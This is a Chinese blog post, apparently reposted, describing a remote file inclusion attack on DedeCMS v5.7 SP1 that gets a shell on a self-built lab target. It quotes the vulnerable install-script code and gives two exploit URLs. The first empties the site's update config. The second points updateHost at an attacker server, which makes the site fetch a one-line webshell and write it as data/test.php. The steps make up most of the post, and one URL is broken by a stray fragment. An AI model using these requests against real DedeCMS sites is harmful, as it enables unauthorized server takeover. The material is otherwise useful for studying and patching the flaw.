您的位置:首页 > 运维架构 > Shell

dedecms-v5.7-sp1远程文件包含getshell

2016-12-13 14:13 1441 查看
前段时间自己搭了个dedecms-v5.7-sp1的靶机来练手,偶然在网上发现了一篇靠谱的文章,讲的是dedecms的一个远程文件包含getshell的方法,理解了以后决定自己再写出来,以加深印象~

利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为\install\index.php.bak 。



      其次,目标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析。

问题代码如下:



else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
else
echo '  <font color="red">[×]</font> 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}


然而,$updateHost 变量是通过包含../data/admin/config_update.php这个文件获得的:



到此,不知各位看官是否意识到,我们可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!

由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!

 

先提交这个请求url: http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php  
这会让代码直接跳到step 11开始执行,到dede的远程服务器http://updatenew.dedecms.com/base-v57/dedecms/demodata.x.txt中取内容,然后写入到config_update.php文件中去。
由于demodata.x.txt文件是不存在的,所以就会取到空内容写入 config_update.php这个文件中,自然$updateHost变量就可以由我们自定义了!
 
 
构造demodata.x.txt文件中的内容为我们需要的,比如一句话等,并放在远程服务器上(由于本地测试,所以还是放在本机上了):



然后再次提交请求: http://192.168.0.129/install/index.php.bak?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&u 4000
pdateHost=http://192.168.0.129:700/
即可得到shell,目录为 ../data/test.php
OK,大功告成!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  dedecms 漏洞